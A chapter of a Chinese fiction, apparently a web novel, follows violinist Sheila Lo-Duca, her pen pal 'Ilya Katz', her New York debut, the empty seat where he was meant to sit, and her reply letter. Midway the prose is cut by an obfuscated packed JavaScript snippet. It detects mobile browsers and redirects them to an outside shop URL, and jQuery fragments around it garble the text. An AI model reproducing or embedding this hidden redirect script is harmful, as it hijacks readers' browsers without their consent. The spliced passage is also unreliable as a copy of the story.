希拉拿到信时仍在练琴。
临近演出，每天三小时的练习时间显得不再那么充裕，但当希拉看到寄件人姓名的时候还是放下了弓。她仍用下巴与肩夹着琴，腾出双手将信封拆开，把信纸抽出夹在谱架上。
做完这一切，希拉又拿起琴弓，用比平常更慢速度拉起她原本正在练习的曲子，同时将注意力集中在了信纸上的内容。
“这一定是在开玩笑。”希拉甚至怀疑与她通信的“伊黎雅·卡茨”是看见她后才故意这么说，毕竟那晚她花了大半的时间坐在钢琴后，“看来他当时确实在那儿。”
希拉忽然觉得这位活泼的“卡茨”在上次的派对里过于害羞、谨慎，她确信自己已经在信件中流露出的足够多的真诚，能让对方意识到自己在期待彼此间的第一次会面。
又或许他们确实在不同的宴会厅错过了彼此？
希拉有些不愿意相信这位阴差阳错间“识于微末”的朋友，会被些无谓的虚名吓退。
如果他也是位在鲜花与掌声中成长的神童，他就会知道，这些缥缈的荣誉，决不能代替他们作为“人”的价值。
希拉怀疑自己犯了一个错误。她默认这位来自圣彼得堡的少年和他的落款“卡茨”一样拥有常人难以企及的琴技，已经在卡内基音乐厅的首秀中一鸣惊人、技惊四座。
音乐声一顿，希拉稍稍抬起琴弓，暂停了音乐的流淌。她左手手指轻轻扫过琴弦，安静地按了一遍刚才的乐句，却几次都不太满意。
如此回想，好像东部的音乐厅数月前也并没有传来天才横空出世的消息。
希拉叹了一口气，按下心中隐约的失望，继续读信。
看到信的末尾，正在摸索新指法的希拉一愣，停下了左手的动作——自己的纽约首秀就在第二天。
这……简直让人不敢相信，她记起自己的老师曾经和她说过几乎一模一样的话。
“希拉，我希望你能记住——永远都不要在演出的前一晚改变你的指法。”老师严肃的面孔让这句忠告的震慑力大大增加，“既然我已经提醒过你，我就不会再把这当成你演出失误的借口。”
此时是老师去世后她的第一场演奏会，希拉却发现自己已经把这句忠告忘得一干二净了……
万幸“伊黎雅·卡茨”的来信打断了她在悬崖边缘试探的脚步。尽管希拉从未有在演出前夜变换指法的经历，后果如何尚不可知，但她却清楚地明白，自己的纽约首秀经不起任何风险。
看来无论如何，她欠这位朋友一声感谢。如果运气好，或许能在演出当天当面告诉他。
*
第二天傍晚，希拉拿着琴在后台踱步，低头思索些大约只属于艺术家们的秘密。
来往的工作人员正为她的登台做最后准备。
希拉今天身着浅色的礼服长裙，对比之下使她深色眉眼更为突出。她笑起来有着饱满的苹果肌，唇部如丰盈的果肉般鲜嫩，即便面部轮廓仍因为年轻而显得柔和幼稚，却不难看出琴坛曾经神童正在蜕变为如“波姬”一样美丽的少女。
沉浸在自己思绪中的希拉忽然颤动了一下卷曲的睫毛，回到现实世界里林肯艺术中心华丽古典与现代恢弘并存的后台。
她上台前的最后一件事是走到今夜把手后台的保卫人员处，低声向他交代，“如果一会儿有一个自称是我笔友的人过来找我，请放他进来。”
安保不确定地重复了一遍今晚这位“大明星”的用词，“笔友？”
“是的，笔友。我通过信件和他交流。”希拉得确保这位保卫人员真正理解这个词的含义，而不是将那位“伊黎雅·卡茨”给关在门外。
今晚的主题是柴可夫斯基。当希拉想到自己的笔友可能正坐在台下时，她竟发觉自己的手心有些汗渍。
柴可夫斯基乐曲并不是她最擅长的风格。万一他是位优秀的鉴赏家，恐怕难免能说出几句挑剔的评价。
不过希拉的任何担心都是多余的，演出空前成功。
她甚至受到了曾经在洛杉矶都没有过的礼遇——几乎全场的观众在演奏会的最后都起立向她鼓掌，他们感谢小提琴家希拉·洛-杜卡为他们带来了这样一场精彩绝伦的演出。
纽约客们不仅接受了她的演绎，甚至喜欢这种表现方式。
他们喜欢她在澎湃的乐句底下暗藏的丰富，如海浪般一层叠在一层之上，喜欢她比另一些提琴手更慢的速度，让他们能在这个高速运转的城市中得到一丝喘息的机会。
或许，他们还喜欢希拉对待古典乐的真诚，在热衷于制造“古典大明星”的当下，守着宝库却拒绝经纪公司为她打造钥匙，而是循规蹈矩地走着一代代古典乐手们成长的道路。
希拉掌声中抬手向观众们介绍了乐团，又连鞠了数次躬才找到下台的机会。
乐团中一起退场的年轻人迫不及待地与希拉击掌，庆祝这场演出的成功。
“在华尔道夫的庆功宴上见。”
他们和希拉说过再见以后就各自离开，只有乐团的一提留下来和她寒暄了几句。
一提是个看上去温文尔雅的亚裔男性，很难看出年纪来，“你还是和以前一样优秀。”
“谢谢你，文森特。”希拉由衷莞尔，“我还要等一个朋友，或许你会更愿意和他们一起走？”
她指了指已经陆续准备离开艺术中心的乐团成员。
一提听出了希拉的言下之意，朝她挥挥手，识趣地离开了，“一会儿见。”
希拉笑着和这位演奏家告别后，立即询问起后台的工作人员，想要知道是否有人已经来找过她了。
“你还需要耐心等等，”安保听完耳机内的传讯后这样和希拉说，“观众还没全部离场呢。”
但无论希拉有多么耐心，她的等待注定是一场空。
时
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17689182|207876||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
钟的指针从半点指向整点。
演出大厅已经关上了灯，刚才还人声鼎沸的剧院现在一片漆黑，哪怕有一个人在里面走动，脚步声的回响在恻幕都清晰可闻。
希拉抹黑走回舞台，单手撩起大幕，站在暗中回忆。
第十二排靠近中央那个位置刚才坐着谁？
那是她送给笔友“伊黎雅·卡茨”的门票。
此刻希拉却发现自己对此全无印象。
是男？是女？是老？是少？她一概不能确定。
“洛-杜卡女士？”今晚值班的经理在侧幕将希拉唤回神，“我们去查了一下票根，没有找到12排10座。”
“找不到十二排十座？”希拉喃喃道，后台的灯光打在她的侧脸上，勾勒出她完美如雕塑的轮廓。
“是的，恐怕你的朋友今晚没能来这里。”经理用略显遗憾的口吻答道。
希拉有几分恍惚，同时又在自己的印象中为这位笔友的形象上添了几分神秘色彩。
事实上，这让希拉对他更为好奇了。
希拉松手让大幕自然地散下，向值班经理道了声谢谢，“我想我该走了。”
十分钟后，她出现在华尔道夫酒店楼下。
乐队里几个耐不住性子下楼抽烟的眼尖小伙立刻认出了她，他们一拥而上将今夜的大明星领进觥筹交错、衣香鬓影的上流社会社交场所——古典乐团的庆功宴无一例外皆是如此。
唱片公司代理人、古典乐评论家、媒体记者和那些纽约“贵族”们一样刚从艺术中心离场，翘首以盼希拉·洛-杜卡的到来。
乐团的一提在众人的注目下拿着两杯香槟走来，替希拉挡下了逐利者们豺狼般的眼神。
他将其中一杯香槟递给希拉，并为她今晚大获成功的演出祝酒。
这位亚裔小提琴家意识到希拉身侧空无一人，不禁皱着眉头发问，“没有等到你的朋友吗？”
“你等的那个人总是不会出现。”希拉耸了耸肩，无奈地对乐队一提说道，“你知道的，爸爸。”
「亲爱的伊黎雅，」
午夜，希拉在华尔道夫的套房里提笔。
「你无法想象我今天有多么失望，因为我满心期待能在纽约与你碰面。不过，你似乎被别的事绊住了脚。」
「演出相当成功，我想关于它的报道毫无疑问会出现在明天的报纸上。」
「不过，我不是热爱读评论的那一类人。」
「因为那些对小提琴一知半解的人而产生自我怀疑，在我看来是件再愚蠢不过的事。」
「说起来你可能会觉得惊讶，我竟然这么快就用到了你在上封信中提及的忠告。」
「毫不夸张地说，它兴许拯救了一整场演奏会。」
「唯独可惜不能当面表达这样的感谢。」
「你真诚的，希拉」
「Feb.27,1988」